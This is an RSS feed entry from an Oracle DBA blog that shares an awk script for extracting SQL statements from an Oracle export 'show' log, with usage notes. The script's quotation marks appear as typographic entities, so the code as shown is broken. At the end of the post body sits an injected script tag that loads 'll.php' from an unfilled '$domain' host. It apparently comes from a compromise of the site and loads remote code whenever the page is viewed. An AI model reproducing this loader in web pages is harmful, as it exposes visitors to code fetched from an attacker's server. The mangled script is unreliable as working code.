<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; IMPSHOW2SQL &#8211; Extracting SQL from an EXPORT file</title>
	<atom:link href="http://www.bestremotedba.com/tag/impshow2sql-extracting-sql-from-an-export-file/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Unix Script: IMPSHOW2SQL &#8211; Extracting SQL from an EXPORT file</title>
		<link>http://www.bestremotedba.com/unix-script-impshow2sql-extracting-sql-from-an-export-file/</link>
		<comments>http://www.bestremotedba.com/unix-script-impshow2sql-extracting-sql-from-an-export-file/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 01:59:39 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Unix Administration]]></category>
		<category><![CDATA[Extracting SQL from an EXPORT file]]></category>
		<category><![CDATA[IMPSHOW2SQL - Extracting SQL from an EXPORT file]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=342</guid>
		<description><![CDATA[This is a short script that allows you to extract the SQL from an export file. It is intended for use on UNIX machines. Instructions are in the header of the script. When entering the script ensure: A> The first line in the file should be a single colon (:) Please note this is a [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>This is a short script that allows you to extract the SQL from an export file. It is intended for use on UNIX machines. Instructions are in the header of the script.<br />
When entering the script ensure:  A>  The first line in the file should be a single colon (:)<br />
 	Please note this is a proto-type script so there may be some statements in the resultant file that need manual editting.<br />
 :<br />
          $ imp user/password file=exportfile show=Y log=/tmp/showfile </p>
<p>           $ ./impshow2sql /tmp/showfile > /tmp/imp.sql </p>
<p> Note:         This script may split lines incorrectly for some statements  so it is best to check the output. </p>
<p># CONSTRAINT &#8220;&#8221; problem:<br />
#               You can use this script to help get the SQL from an export  then correct it if it includes bad SQL such as CONSTRAINT &#8220;&#8221;.<br />
#               Eg:<br />
#                Use the steps above to get a SQL script and then<br />
#                $ sed -e &#8216;s/CONSTRAINT &#8220;&#8221;//&#8217; infile > outfile<br />
Now precreate all the objects and import the export file.<br />
#<br />
# Extracting Specific Statements only:<br />
#	It is fairly easy to change the script to extract certain statements only. For statements you do NOT want to extract change N=1 to N=0 Eg: To extract CREATE TRIGGER statements only:<br />
a) Change all lines to set N=0.<br />
 		   Eg: / \&#8221;CREATE /    { N=0; }<br />
      This stops CREATE statements being output.<br />
b) Add a line (After the general CREATE line above):<br />
		/ \&#8221;CREATE TRIGGER/	{ N=1; }<br />
	   This flags that we SHOULD output CREATE TRIGGER statements.<br />
c) Run the script as described to get CREATE TRIGGER statements.<br />
awk &#8216;  BEGIN	{ prev=&#8221;;&#8221; }<br />
	/ \&#8221;CREATE / 	{ N=1; }<br />
	/ \&#8221;ALTER / 	{ N=1; }<br />
	/ \&#8221;ANALYZE / 	{ N=1; }<br />
	/ \&#8221;GRANT /  	{ N=1; }<br />
	/ \&#8221;COMMENT /   { N=1; }<br />
	/ \&#8221;AUDIT /     { N=1; }<br />
	N==1 { printf &#8220;\n/\n\n&#8221;; N++ }<br />
	/\&#8221;$/ { prev=&#8221;"<br />
		if (N==0) next;<br />
		s=index( $0, &#8220;\&#8221;" );<br />
              	if ( s!=0 ) {<br />
			printf &#8220;%s&#8221;,substr( $0,s+1,length( substr($0,s+1))-1 )<br />
			prev=substr($0,length($0)-1,1 );<br />
	      	}<br />
		if (length($0)<78) printf( "\n" );<br />
	      }'  $*<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/unix-script-impshow2sql-extracting-sql-from-an-export-file/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

